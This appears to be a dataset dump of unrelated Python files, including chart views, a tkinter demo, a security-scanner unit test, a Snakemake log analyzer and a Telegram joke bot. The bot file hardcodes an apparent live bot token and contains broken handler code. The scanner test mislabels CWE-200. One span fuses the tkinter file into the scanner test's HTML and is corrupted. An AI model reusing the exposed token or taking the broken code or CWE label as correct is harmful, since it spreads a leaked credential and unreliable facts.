context)\n\n\ndef get_pie_data(request):\n street_choice = request.GET.get(\"pie-choice\")\n start = datetime.datetime.now()\n data = []\n data_value = []\n for pro in Property.objects.all():\n event_list = Event.objects.filter(property=pro)\n cnt = 0\n for event in event_list:\n if event.community.street.name == street_choice:\n cnt += 1\n data.append(pro.name)\n data_value.append(cnt)\n\n c = (\n Pie(init_opts=opts.InitOpts(theme=ThemeType.WESTEROS))\n .add(\"\", [list(z) for z in zip(data, data_value)])\n .set_series_opts(label_opts=opts.LabelOpts(formatter=\"{b}: {c}\"))\n .dump_options_with_quotes()\n )\n\n end = datetime.datetime.now()\n print(\"Pie: \" + str(end - start))\n return HttpResponse(c, content_type='application/json')\n\n\ndef get_sun_data(request):\n sun_choice = request.GET.get(\"sun-choice\")\n street = Street.objects.get(name=sun_choice)\n sun_data = []\n statuses = Achieve.objects.all()\n type_list = Type.objects.all()\n for status in statuses:\n type_value = {}\n for v in type_list:\n type_value.update({v.name: 0})\n\n events = status.event.get_queryset()\n\n for event in events:\n if event.community.street != street:\n continue\n type_value[event.type.name] += 1\n\n time_list = []\n for key in type_value.keys():\n if type_value[key]:\n single = opts.SunburstItem(name=key, value=type_value[key])\n time_list.append(single)\n\n if len(time_list):\n name = status.name\n s_item = opts.SunburstItem(name=name, children=time_list)\n sun_data.append(s_item)\n\n start = datetime.datetime.now()\n data = sun_data\n c = (\n Sunburst()\n .add(series_name=\"\", data_pair=data, radius=[0, \"90%\"])\n .set_series_opts(label_opts=opts.LabelOpts(formatter=\"{b}\"))\n .dump_options_with_quotes()\n )\n end = datetime.datetime.now()\n print(\"Sunburst: \" + str(end - start))\n return HttpResponse(c, content_type='application/json')\n\n\ndef get_calender_data(request):\n def get_date(days):\n day = (date.today() - timedelta(days=555) - timedelta(days=days))\n return day\n property = Property.objects.get(name=request.GET.get(\"calender-choice\"))\n event_list = Event.objects.filter(property=property)\n\n start = datetime.datetime.now()\n\n begin = get_date(365)\n end = datetime.date.today() - timedelta(days=465)\n data = []\n cur_day = end\n count = 0\n for event in event_list:\n if event.create_time < cur_day:\n data.insert(0, (cur_day, count))\n count = 0\n cur_day -= timedelta(days=1)\n\n if cur_day < begin:\n break\n\n if event.create_time == cur_day:\n count += 1\n\n c = (\n Calendar()\n .add(\"\",\n data,\n calendar_opts=opts.CalendarOpts(\n range_=[begin, end],\n daylabel_opts=opts.CalendarDayLabelOpts(name_map=\"cn\"),\n monthlabel_opts=opts.CalendarMonthLabelOpts(name_map=\"cn\"),\n pos_right=\"20px\"\n ),\n )\n .set_global_opts(\n visualmap_opts=opts.VisualMapOpts(\n max_=501,\n min_=1,\n orient=\"horizontal\",\n is_piecewise=True,\n pos_left=\"40px\"\n ),\n )\n .dump_options_with_quotes()\n )\n\n end = datetime.datetime.now()\n print(\"Calendar: \" + str(end - start))\n return HttpResponse(c, content_type='application/json')\n","sub_path":"chart/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"215968914","text":"import tkinter as tk\r\nfrom tkinter import messagebox\r\n\r\n#Primeiro de tudo, criar uma classe modelo\r\nclass ModelHero():\r\n def __init__(self, nome, identSecreta):\r\n self.__nome = nome\r\n self.__identSecreta = identSecreta\r\n\r\n def getNome(self):\r\n return self.__nome\r\n \r\n def getIdentSecreta(self):\r\n return self.__identSecreta\r\n\r\n#Depois, criar uma view, que é a visão que o usuário final terá (interface)\r\nclass View():\r\n def __init__(self, master, controller):\r\n self.controller = controller\r\n self.frame = tk.Frame(master)\r\n self.frame.pack()\r\n \r\n #Cria um viewPanel, passando referência da janela pricipal e do controller\r\n self.viewPanel = ViewPanel(master, controller)\r\n\r\n#Aqui é onde se cria a visão da janela\r\nclass ViewPanel():\r\n def __init__(self, root, controller):\r\n self.controller = controller\r\n self.janela = tk.Frame(root)\r\n self.janela.pack()\r\n self.frameNome = tk.Frame(self.janela)\r\n self.frameNome.pack()\r\n self.frameIdent = tk.Frame(self.janela)\r\n self.frameIdent.pack()\r\n self.frameButtons = tk.Frame(self.janela)\r\n self.frameButtons.pack()\r\n\r\n self.labelNome = tk.Label(self.frameNome, text = 'Nome: ')\r\n self.labelNome.pack(side = 'left')\r\n self.labelIdent = tk.Label(self.frameIdent, text = 'Identidade secreta: ')\r\n self.labelIdent.pack(side = 'left')\r\n\r\n self.inputNome = tk.Entry(self.frameNome, width = 20)\r\n self.inputNome.pack(side = 'left')\r\n self.inputIdent = tk.Entry(self.frameIdent, width = 20)\r\n self.inputIdent.pack(side = 'left')\r\n\r\n self.buttonCadastrar = tk.Button(self.frameButtons, text = 'Cadastrar', font = ('Arial black', 8))\r\n self.buttonCadastrar.pack(side = 'left')\r\n self.buttonCadastrar.bind(\"\n Click Me\n \n \n \n \n \n\n \"\"\"\n\n response = Mock()\n response.status_code = 200\n response.headers = {\"Content-Type\": \"text/html\"}\n response.content = html_content.encode(\"utf-8\")\n response.url = \"https://example.com/?username=test&password=123\"\n\n parsed_url = urlparse(response.url)\n query_params = parse_qs(parsed_url.query)\n\n soup = BeautifulSoup(html_content, \"html.parser\")\n # self.scanner.scan_http_response_receive(response, soup)\n # print(self.scanner.scan_http_response_receive(response, soup))\n print(self.scanner.scan_http_response_receive(response, soup))\n self.assertEqual(self.scanner.scan_http_response_receive(response, soup),\n \"CWE-200: Improper Input Validation\")\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"macsta31/reverse_engineering_api","sub_path":"api/tools/userControlledJavascriptEvent/userControlledJavScriptEventScanTest.py","file_name":"userControlledJavScriptEventScanTest.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"19818072572","text":"import json\n\n\n# check the type of data in list or dict\ndef def_type(value):\n type = None\n if isinstance(value, int):\n type = 'int'\n elif isinstance(value, float):\n type = 'float'\n elif isinstance(value, str):\n type = 'str'\n else:\n print(\"[Error]: unexpected basic data type, data = {}\".format(value))\n exit(1)\n\n return type\n\n\n# restore the data from string to original type before serialized\ndef convert_type(unit):\n if unit[1] == 'int':\n return int(unit[0])\n elif unit[1] == 'float':\n return float(unit[0])\n elif unit[1] == 'str':\n return str(unit[0])\n\n\n# serialize the data\ndef serializer(data):\n data_str = ''\n if isinstance(data, list):\n data_str = data_str + 'list' + '\\n'\n for i in range(len(data)):\n t = def_type(data[i])\n data_str = data_str + str(data[i]) + '_' + t + '\\t'\n return data_str[:-1]\n elif isinstance(data, dict):\n data_str = data_str + 'dict' + '\\n'\n keys = ''\n values = ''\n for key in data.keys():\n key_type = def_type(key)\n keys = keys + key + '_' + key_type + '\\t'\n value_type = def_type(data[key])\n values = values + str(data[key]) + '_' + value_type + '\\t'\n data_str = data_str + keys[:-1] + '\\n' + values[:-1]\n return data_str\n\n\n# deserialize data read from file\ndef deserializer(lines):\n if len(lines) == 0:\n return None\n elif lines[0] == 'list':\n data_restored = []\n if len(lines) > 1:\n lists = lines[1].split('\\t')\n for list in lists:\n data_restored.append(convert_type(list.split('_')))\n elif lines[0] == 'dict':\n data_restored = {}\n if len(lines) > 1:\n keys = lines[1].split('\\t')\n values = lines[2].split('\\t')\n keys_restored = []\n values_restored = []\n for key in keys:\n keys_restored.append(convert_type(key.split('_')))\n for value in values:\n values_restored.append(convert_type(value.split('_')))\n data_restored = dict(zip(keys_restored, values_restored))\n return data_restored\n\n\n# compare if 2 data structure are the same\ndef my_compare(ds1, ds2):\n if type(ds1) != type(ds2):\n return False\n\n if len(ds1) != len(ds2):\n return False\n if isinstance(ds1, list):\n for i in range(len(ds1)):\n if ds1[i] != ds2[i] or type(ds1[i]) != type(ds2[i]):\n return False\n if isinstance(ds1, dict):\n for key in ds1.keys():\n if key not in ds2.keys():\n return False\n if ds1[key] != ds2[key] or type(ds1[key]) != type(ds2[key]):\n return False\n\n return True\n\n\ndef getFileLines(fname):\n fhandle = open(fname)\n lines = []\n for line in fhandle:\n line = line.rstrip()\n if line:\n lines.append(line)\n fhandle.close()\n return lines\n\n\nif __name__ == '__main__':\n json_path = input(\"Please key in path to the json file: \")\n fh = open(json_path)\n data = json.load(fh)\n fh.close()\n data_serialized = serializer(data)\n filename = input(\"Please key in file name:\")\n with open(filename, 'w') as f:\n f.write(data_serialized)\n f.close()\n\n lines = getFileLines(filename)\n data_deserialized = deserializer(lines)\n same_data = my_compare(data, data_deserialized)\n\n if same_data:\n print(\"Successful! Deserialized data {} is the same as original file.\".format(data_deserialized))\n else:\n print(\"Failed! Deserialized data {} is different from original file.\".format(data_deserialized))\n","repo_name":"jingrui0615/MH8811-G1901967D","sub_path":"05/Homework5.py","file_name":"Homework5.py","file_ext":"py","file_size_in_byte":3716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12240630490","text":"import gym\nimport atari_py\n\n#env = gym.make('CartPole-v0')\nenv = gym.make('SpaceInvaders-v0')\nenv.reset()\n\nfor _ in range(1000):\n env.render()\n env.step(env.action_space.sample())\n \nenv.close()\n\nprint(atari_py.list_games())","repo_name":"baihuaxie/drl-lib","sub_path":"flow_tests/test_gym.py","file_name":"test_gym.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72889374810","text":"def sn(numList):\n global n\n n = n+1\n print (\"The number of times the function executes \", n)\n if len(numList) == 1:\n return numList[0]\n else:\n r = numList[0]\n print (\"The function takes the value of r as\", r)\n s = sn(numList[1:])# recursion step\n print (\"The value of s in this step is\", s)\n return r + s\nn = 0\nprint (sn([6,8,10,5,7]))\n","repo_name":"Bama-S/python_course_material","sub_path":"1/codes/intro/recursioneg2.py","file_name":"recursioneg2.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"17767829886","text":"#! /home/student/c/cstenkamp/miniconda/envs/derive_conceptualspaces/bin/python3\n\n#TODO be able to analyze 737922 from backup-28-02-2022. If that shows me the error, this code achieved it's goal.\n\nimport os\nimport argparse\nfrom os.path import join, isfile, abspath, dirname\nfrom datetime import datetime\nfrom collections import Counter\nimport sys\nsys.path.append(os.path.join(os.path.dirname(__file__), \"..\"))\n\nfrom dotenv.main import load_dotenv\n\nfrom util.logfile_for import print_singlejob, load_acctfile, extract_error, read_errorfile, apply_dotenv_vars\nimport util\nfrom ikw_grid.sge_status import get_status\n\nflatten = lambda l: [item for sublist in l for item in sublist]\n\ndef parse_command_line_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('start_pid', help='ID of the first smk_runner that startet it all')\n parser.add_argument('--base_dir', '-b', help='Base-dir where the smk_runner logs are', default=os.environ[\"HOME\"])\n parser.add_argument('--include_errors', '-e', help=\"If you want the tracebacks to be shown\", default=False, action=\"store_true\")\n return parser.parse_args()\n\n########################################################################################################################\n# stuff for reading the \"smk_runner.e*\" files\n\ndef read_files(pid, base_dir):\n with open(join(base_dir, f\"smk_runner.e{pid}\")) as rfile:\n errorfile = rfile.read()\n with open(join(base_dir, f\"smk_runner.o{pid}\")) as rfile:\n outputfile = rfile.read()\n return errorfile, outputfile\n\ndef get_all_jobfiles(new_job_id, base_dir):\n errorfiles, outputfiles = [], []\n for _ in range(100):\n errorfile, outputfile = read_files(new_job_id, base_dir)\n assert outputfile.split(\"\\n\")[0] == f\"This is run nr {len(errorfiles)+1}\"\n errorfiles.append(errorfile)\n outputfiles.append(outputfile)\n if any(l.startswith(\"Your job\") and l.endswith(\"has been submitted\") for l in outputfile.split(\"\\n\")):\n line = [l for l in outputfile.split(\"\\n\") if l.startswith(\"Your job\") and l.endswith(\"has been submitted\")][0]\n new_job_id = line[len(\"Your job \"):line[len(\"Your job \"):].find(\" \") + len(\"Your job \")]\n else:\n break\n for i, err in enumerate(errorfiles):\n if \"Will exit after finishing currently running jobs.\" in err.split(\"\\n\"):\n errorfiles[i] = \"\\n\".join(err.split(\"\\n\")[:err.split(\"\\n\").index(\"Will exit after finishing currently running jobs.\")])\n return errorfiles, outputfiles\n\n\ndef split_all(errorfiles):\n todo_jobs = [\"\\n\".join(i.split(\"\\n\")[i.split(\"\\n\").index(\"Job stats:\")+1:]) for i in errorfiles]\n todo_jobs = [\"\\n\".join(i.split(\"\\n\")[:[j for j, elem in enumerate(i.split(\"\\n\")) if elem.startswith(\"total\")][0]+1]) for i in todo_jobs]\n\n job_strings = [i for i in flatten([i.split(\"\\n\")[i.split(\"\\n\").index(\"Select jobs to execute...\")+1 if \"Select jobs to execute...\" in i else None:] for i in errorfiles]) if i]\n job_strings = [i for i in job_strings if i != \"Select jobs to execute...\"]\n done_inds = [n for n, i in enumerate(job_strings) if i.startswith(\"Finished job\")]\n dones = [\"\\n\".join(job_strings[i - 1:i + 2]) for i in done_inds]\n for done in dones: job_strings = \"\\n\".join(job_strings).replace(done, \"\").split(\"\\n\")\n dones = {i.split(\"\\n\")[1][len(\"Finished job \"):-1]:datetime.strptime(i.split(\"\\n\")[0][1:-1], \"%a %b %d %H:%M:%S %Y\") for i in dones}\n job_strings = [i for i in job_strings if i]\n\n start_inds = [n for n, i in enumerate(job_strings) if i.startswith(\"rule\") and i.endswith(\":\")]\n indiv_rules = [[j.strip() for j in job_strings[start_inds[i]-1:start_inds[i+1]-1]] for i in range(len(start_inds)-1)]\n #TODO rather use the fact dass die Sachen zur Rule noch eingerückt sind!! also alles eingerückte nach start_inds, und dann jeweils noch die nächstmöglichen\n # reihen die mit any of [\"Will submit the following\", \"Error-File can be found at\", \"Submitted job\"] anfangen, umrühren, fertig.\n job_infos = []\n leftover_text = []\n for nrule, rule in enumerate(indiv_rules):\n usable_lines = [j.split(\": \") for j in rule[2:([n for n, j in enumerate(rule) if j.startswith(\"Will submit\") or j.startswith(\"Resuming incomplete job\")][0]) if any(i.startswith(\"Will submit\") or i.startswith(\"Resuming incomplete job\") for i in rule) else None]]\n usable_if = lambda x: len(x) == 2 and not any(j in \": \".join(x) for j in [\"failed because of an error\"])\n leftover_text.extend([\": \".join(i) for i in usable_lines if not usable_if(i)])\n job_infos.append(dict(i for i in usable_lines if usable_if(i)))\n job_infos[-1][\"rule\"] = rule[1][len(\"rule \"):-1]\n job_infos[-1][\"timestamp\"] = datetime.strptime(rule[0][1:-1], \"%a %b %d %H:%M:%S %Y\")\n\n #TODO the order of this may be messed up if eg. \"Trying to restart job\" comes before \"Removing output files of\"\n #TODO on my local terminal, the \"building dag of jobs...\" until \"select jobs to execute...\" is yellow, the rules with their IO is green, (and other stuff I can't tell)\n # - I may be able to use these colors to split what-it-belonged-to in cases where two logs were written simultaenously to the logfile!\n for other_txt in [\"Removing output files of\", \"failed because of an error!\", \"Trying to restart job\"]:\n if any(other_txt in i for i in rule):\n tmpstr = rule[[n for n, i in enumerate(rule) if other_txt in i][0]:]\n leftover_text.extend([i for i in tmpstr if not \"Submitted job\" in i])\n rule = rule[:[n for n, i in enumerate(rule) if other_txt in i][0]]+[i for i in tmpstr if \"Submitted job\" in i]\n if any(\"Error in rule\" in i for i in rule):\n tmpstr = rule[[n for n, i in enumerate(rule) if \"Error in rule\" in i][0] - 1:]\n leftover_text.extend([i for i in tmpstr if not \"Submitted job\" in i])\n rule = rule[:[n for n, i in enumerate(rule) if \"Error in rule\" in i][0]-1]+[i for i in tmpstr if \"Submitted job\" in i]\n if any(i.startswith(\"Submitted job\") for i in rule):\n if len(rule) > [i for i, elem in enumerate(rule) if elem.startswith(\"Submitted job\")][0]+1:\n leftover_text.extend(rule[[i for i, elem in enumerate(rule) if elem.startswith(\"Submitted job\")][0]+1:])\n rule = rule[:[i for i, elem in enumerate(rule) if elem.startswith(\"Submitted job\")][0]+1]\n\n\n if any(i.startswith(\"Will submit the following:\") for i in rule):\n job_infos[-1][\"submit_command\"] = [i for i in rule if i.startswith(\"Will submit the following:\")][0].split(\"`\")[1]\n job_infos[-1][\"errorfile\"] = [i for i in rule if i.startswith(\"Error-File can be found at\")][0].split(\"`\")[1]\n job_infos[-1][\"external_id\"] = rule[-1].split(\"'\")[1]\n elif any(i.startswith(\"Resuming incomplete job\") for i in rule):\n job_infos[-1][\"external_id\"] = [i for i in rule if i.startswith(\"Resuming incomplete job\")][0].split(\"'\")[1]\n job_infos[-1][\"resuming\"] = True\n else:\n print()\n pure_resumes = []\n for resumed_job in [i for i in job_infos if i.get(\"resuming\")]:\n orig_job = [i for i in job_infos if i[\"external_id\"] == resumed_job[\"external_id\"] and not i.get(\"resuming\")]\n if len(orig_job) < 1:\n pure_resumes.append(resumed_job[\"external_id\"])\n else:\n assert len(orig_job) == 1\n assert all(v == resumed_job[k] for k, v in orig_job[0].items() if k not in [\"resuming\", \"submit_command\", \"errorfile\", \"resources\", \"timestamp\", \"resumed_at\"])\n orig_job[0].setdefault(\"resumed_at\", []).append(resumed_job[\"timestamp\"])\n job_infos = [i for i in job_infos if (not i.get(\"resuming\") or i[\"external_id\"] in pure_resumes)]\n return todo_jobs, dones, job_infos, leftover_text\n\n\ndef merge_job_infos(job_infos):\n di = {}\n for job in job_infos:\n di.setdefault(job[\"output\"], []).append(job)\n newls = []\n for vals in di.values():\n newls.append(vals[0])\n newls[-1][\"resumed_at\"] = {newls[-1][\"external_id\"]: newls[-1][\"resumed_at\"]} if \"resumed_at\" in newls[-1] else {}\n for elem in [\"timestamp\", \"external_id\", \"submit_command\"]:\n newls[-1][elem] = [newls[-1].get(elem)]\n if len(vals) >= 2:\n for i in range(1, len(vals)):\n assert all(v == vals[i].get(k) for k, v in vals[0].items() if k not in [\"resources\", \"timestamp\", \"external_id\", \"submit_command\", \"resumed_at\", \"resuming\"])\n for elem in [\"timestamp\", \"external_id\", \"submit_command\"]:\n newls[-1][elem].append(vals[i].get(elem))\n if \"resumed_at\" in vals[i]:\n newls[-1].setdefault(\"resumed_at\", {})[vals[i][\"external_id\"]] = vals[i][\"resumed_at\"]\n return newls\n\n########################################################################################################################\n\n\ndef main():\n if isfile(os.getenv(\"MA_SELECT_ENV_FILE\", \"\")):\n load_dotenv(os.environ[\"MA_SELECT_ENV_FILE\"])\n apply_dotenv_vars()\n args = parse_command_line_args()\n errorfiles, outputfiles = get_all_jobfiles(args.start_pid, args.base_dir)\n todo_jobs, dones, job_infos, leftover_text = split_all(errorfiles) #TODO consider todo_jobs and dones!\n job_infos = merge_job_infos(job_infos)\n assert len([i[\"jobid\"] for i in job_infos]) == len(set([i[\"jobid\"] for i in job_infos]))\n for info in job_infos:\n if info[\"jobid\"] in dones.keys():\n info[\"finished_at\"] = dones[info[\"jobid\"]]\n elif not \"state\" in info:\n info[\"state\"] = {i: get_status(i, status_attempts=1, silent=True, detailed=True) for i in info[\"external_id\"]}\n # assert len([i for i in job_infos if not i.get(\"finished_at\")]) == len(job_infos)-len(dones)\n\n\n states = [{k:v for k,v in i.get(\"state\", {}).items() if v != \"unknown\"} if any(v for v in i.get(\"state\", {}).values() if v != \"unknown\") else {max(i.get(\"external_id\")): \"success\"} if i.get(\"finished_at\") else {} for i in job_infos]\n states = [(dict([max([(k, v) for k, v in i.items() if v == j], key=lambda x:x[0]) for j in set(i.values())]), dict(Counter(list(i.values())))) for i in states] #the highest ids per-state, number of states\n for state in states:\n if \"success\" in state[1] and len(state[0]) > 1:\n assert all(i > int({v: k for k, v in state[0].items()}[\"success\"]) for i in [int(k) for k,v in state[0].items() if v != \"success\"]), \"There is a succeeded task-id but it's not the last one!\"\n for single_state, infos in zip(states, job_infos):\n infos[\"single_state\"] = single_state\n\n for show in [j for j in [\"running\", \"enqueued\", \"failed\", \"success\"] if j in set(flatten([i[1].keys() for i in states]))]:\n toshow = [i for i in job_infos if show in i[\"single_state\"][0].values()]\n if toshow:\n print(\"The following runs are \"+show+\":\")\n print(\"\\n\".join([f\" {r['output'].ljust(max(len(i['output']) for i in toshow))} (pid {','.join(r['external_id'])})\" for r in toshow]))\n job_infos = [i for i in job_infos if not show in i[\"single_state\"][0].values()]\n\n return\n\n # if (enqueueds := [i for i in job_infos if all(j == \"enqueued\" for j in i.get(\"state\", [\"not_enqueued\"]))]):\n # print(\"The following runs are enqueued:\\n \"+\"\\n \".join([f\" {r['output'].ljust(max(len(i['output']) for i in enqueueds))} (pid {','.join(r['external_id'])})\" for r in enqueueds]))\n # job_infos = [i for i in job_infos if i[\"jobid\"] not in [i[\"jobid\"] for i in enqueueds]]\n # if (runnings := [i for i in job_infos if all(j == \"running\" for j in i.get(\"state\", [\"not_running\"]))]):\n # print(\"The following runs are running:\\n \"+\"\\n \".join([f\" {r['output'].ljust(max(len(i['output']) for i in runnings))} (pid {','.join(r['external_id'])})\" for r in runnings]))\n # job_infos = [i for i in job_infos if i[\"jobid\"] not in [i[\"jobid\"] for i in runnings]]\n # #TODO finished ones are not actually finished god damn it\n # if (dones := [i for i in job_infos if \"finished_at\" in i or all(j == \"success\" for j in i.get(\"state\"))]):\n # print(\"The following ones are finished: \\n \" + \"\\n \".join([f\"{i['output'].ljust(max(len(j['output']) for j in dones))}(pid {','.join(i['external_id'])}){(' at '+str(i['finished_at'])) if 'finished_at' in i else ''}\" for i in dones]))\n # job_infos = [i for i in job_infos if i[\"jobid\"] not in [i[\"jobid\"] for i in dones]]\n # #TODO there's also enqueued!\n # if (fails := sorted([i for i in job_infos if not i.get(\"finished_at\")], key=lambda x: x[\"output\"])):\n # interrupteds = []\n # print(\"The following ones failed:\")\n # for fail in fails:\n # if not args.include_errors:\n # print(f\" {fail['output'].ljust(max(len(i['output']) for i in fails))} (pid {','.join(fail['external_id'])})\")\n # else:\n # try:\n # err, kind = extract_error(read_errorfile(fail[\"errorfile\"]))\n # except FileNotFoundError:\n # err, kind = \"\", \"\"\n # if kind == \"Exception\":\n # print(f\" {fail['output'].ljust(max(len(i['output']) for i in fails))} (pid {','.join(fail['external_id'])})\")\n # print(\" \" + err.replace(\"\\n\", \"\\n \"))\n # elif kind.startswith(\"SystemExit\") or kind == \"Interrupted\":\n # interrupteds.append((fail, err, kind))\n # else:\n # print(f\" {fail['output'].ljust(max(len(i['output']) for i in fails))} (pid {','.join(fail['external_id'])})\")\n # print(\" \"+\"Error unknown\")\n # if interrupteds:\n # print(\"The following ones were interrupted:\")\n # for j in interrupteds:\n # print(f\" {j[0]['output'].ljust(max(len(i[0]['output']) for i in interrupteds))} (pid {','.join(j[0]['external_id'])})\")\n # #TODO cross-check with `check -j` command\n # #TODO parse the leftover_text as well, there may be more info about fails\n # #TODO use the error-files to get the respective errors of the files\n # #TODO cross-check with todo_jobs OR manually run `snakemake --dry-run --ignore-all-existing-files` to make a tree (like pstree) of which branches worked an which ones didn't\n # # see https://www.willmcgugan.com/blog/tech/post/rich-tree/\n\n\n# TODO actually use this\ndef read_allrulesfile():\n apply_dotenv_vars()\n with open(abspath(join(dirname(util.__file__), \"..\", \"..\", \"Snakefile\"))) as rfile:\n snakefile_cont = rfile.read()\n last_rule = snakefile_cont[snakefile_cont.find(\"LAST_RULE\"):].split('\"')[1]\n with open(\"all_rules.txt\", \"r\") as rfile:\n txt = rfile.read()\n todo_jobs, _, job_infos, _ = split_all([txt])\n todo_jobs = todo_jobs[0]\n lastrules = [i for i in job_infos if i[\"rule\"] == last_rule]\n dones = [i for i in lastrules if isfile(join(os.environ[\"MA_BASE_DIR\"], i[\"output\"]))]\n wildcards = [dict([j.split(\"=\") for j in i[\"wildcards\"].split(\", \")]) for i in dones]\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"cstenkamp/derive_conceptualspaces","sub_path":"workflow/sge/util/analyze_log.py","file_name":"analyze_log.py","file_ext":"py","file_size_in_byte":15206,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"26414590190","text":"import pytest\nimport os\n\ndir_list = {\n \"contents\": [\n {\n \"type\": \"directory\",\n \"name\": \"FY20\",\n \"contents\": [\n {\n \"type\": \"file\",\n \"name\": \"letterofresignation_2020_10_04.docx\"\n },\n {\n \"type\": \"file\",\n \"name\": \"letterofresignation_2020_10_31.docx\"\n }\n ]\n },\n {\n \"type\": \"file\",\n \"name\": \"README.txt\"\n }\n ]\n }\n\nother_dir_list = {\n \"contents\": [\n {\n \"type\": \"directory\",\n \"name\": \"FY21\",\n \"contents\": [\n {\n \"type\": \"file\",\n \"name\": \"dontquityet_2020_10_04.docx\"\n },\n {\n \"type\": \"file\",\n \"name\": \"dontquityet_2020_10_31.docx\"\n }\n ]\n },\n {\n \"type\": \"file\",\n \"name\": \"README.txt\"\n }\n ]\n }\n\n\n@pytest.mark.parametrize('dir_list', [dir_list, other_dir_list])\ndef test_fixture(testing_directory):\n print([f for f in os.walk(testing_directory)])","repo_name":"chrispcharlton/trufflepig","sub_path":"test/test_fixtures.py","file_name":"test_fixtures.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"15334480189","text":"\r\nfrom aiogram import Bot,Dispatcher,executor,types\r\nfrom aiogram.types import ReplyKeyboardMarkup, ReplyKeyboardRemove,KeyboardButton\r\nbot=Bot(token=\"6093366391:AAGfDvAcI7iTVpVsoFexDIOCn4h20kQ1V-A\")\r\ndp=Dispatcher(bot)\r\n\r\nbutton1=KeyboardButton('stupid')\r\nbutton2=KeyboardButton('fat')\r\nbutton3=KeyboardButton('dumb')\r\nkeyboard1=ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True).add(button1).add(button2).add(button3)\r\n\r\n@dp.message_handler()\r\nasync def kb_answer(message: types.Message):\r\n jokes = {\r\n 'stupid': [\"\"\"Yo' Mama is so stupid, she needs a recipe to make ice cubes.\"\"\",\r\n \"\"\"Yo' Mama is so stupid, she thinks DNA is the National Dyslexics Association.\"\"\"],\r\n 'fat': [\"\"\"Yo' Mama is so fat, when she goes to a restaurant, instead of a menu, she gets an estimate.\"\"\",\r\n \"\"\" Yo' Mama is so fat, when the cops see her on a street corner, they yell, \"Hey you guys, break it up!\" \"\"\"],\r\n 'dumb': [\"\"\"Yo' Mama is so dumb, when God was giving out brains, she thought they were milkshakes and asked for extra thick.\"\"\",\r\n \"\"\"Yo' Mama is so dumb, she locked her keys inside her motorcycle.\"\"\"] \r\n } \r\n if message.text == 'stupid':\r\n await message.random.choice(jokes['stupid'])\r\n elif message.text == 'fat':\r\n await message.random.choice(jokes['fat'])\r\n elif message.text == 'dumb':\r\n await message.random.choice(jokes['dumb'])\r\n \r\n\r\n\r\n\r\nexecutor.start_polling(dp)\r\n \r\n \r\n","repo_name":"nilabha2001/impressAi-exam","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3015786678","text":"def solution(begin, target, words):\n if target not in set(words):\n return 0\n \n conver = {}\n for a in words:\n conver.setdefault(a, [])\n for b in words:\n if convertible(a, b):\n conver[a].append(b)\n stack = [word for word in words if convertible(begin, word)]\n path = []\n answer = 100\n while stack:\n now = stack.pop()\n if now == target:\n answer = len(path)\n elif len(path) >= answer:\n path.pop()\n else:\n path.append(now)\n stack += [k for k in conver[now] if k not in path]\n if answer == 100:\n answer = 0\n return answer \n\ndef convertible(a, b):\n if sum([a_ != b_ for a_, b_ in zip(a, b)]) == 1:\n return True\n else:\n return False\n","repo_name":"hongminpark/prgrms-algorithms","sub_path":"search_dfs_bfs/lv3_단어변환.py","file_name":"lv3_단어변환.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"69851026972","text":"import json, pygame\nimport enemies as E\nimport render\nfrom render import width, height\nfrom math import degrees, radians\nfrom movement import get_deg_direction\nfrom main import calculate_damage_mod\nfrom animations import Animation\n\n\nclass Special:\n\tdef __init__(self, position, speed, direction, surface, damage=0, lifetime=0):\n\t\tself.position = position\n\t\tself.surf = surface\n\t\tself.lifetime = lifetime\n\t\tself.speed = speed\n\t\tself.direction = direction\n\t\tself.rect = pygame.Rect(self.position, (self.surf.get_width(), self.surf.get_height()))\n\t\tself.damage = damage\n\n\t\tif self.direction[0] == 0 and self.direction[1] == 0:\n\t\t\tself.direction[1] = 1\n\n\t\tself.counter = 0\n\n\n\nwith open(\"data/specials.json\") as file:\n\tspecials = json.load(file)\n\n\ndef get_special(champ_name):\n\tif champ_name == \"Knight\":\n\t\treturn Judgement\n\telif champ_name == \"Mage\":\n\t\treturn ArcaneBarrage\n\telif champ_name == \"Juggernaut\":\n\t\treturn Retaliate\n\telif champ_name == \"Assassin\":\n\t\treturn Backstab\n\telif champ_name == \"Tank\":\n\t\treturn Fortify\n\ndef get_passive(champ_name):\n\tif champ_name == \"Juggernaut\":\n\t\treturn None\n\telse:\n\t\treturn None\n\nclass Judgement(Special):\n\tid = 0\n\tname = \"Judgement\"\n\tdescription = \"The god of the kingdom is called upon, smiting the enemy.\"\n\teffect = \"If the enemy is below 10% + (caster.attack / 2) health, they are executed and the cost is refunded. Else, this attack deals 1.5x basic attack damage.\"\n\n\tdef __init__(self, caster):\n\t\tif caster.charge == 100:\n\t\t\tfor i in caster.enemies:\n\t\t\t\tif (abs(i.rect.center[0] - caster.rect.center[0]) < 200) and (abs(i.rect.center[1] - caster.rect.center[1] < 200)):\n\t\t\t\t\tenemy = i\n\t\t\t\t\tprint(((enemy.max_health / 10) + caster.attack * caster.attack_mod / 2 ))\n\t\t\t\t\tif enemy.health < (enemy.max_health / 10) + caster.attack * caster.attack_mod / 2:\n\t\t\t\t\t\tenemy.health = 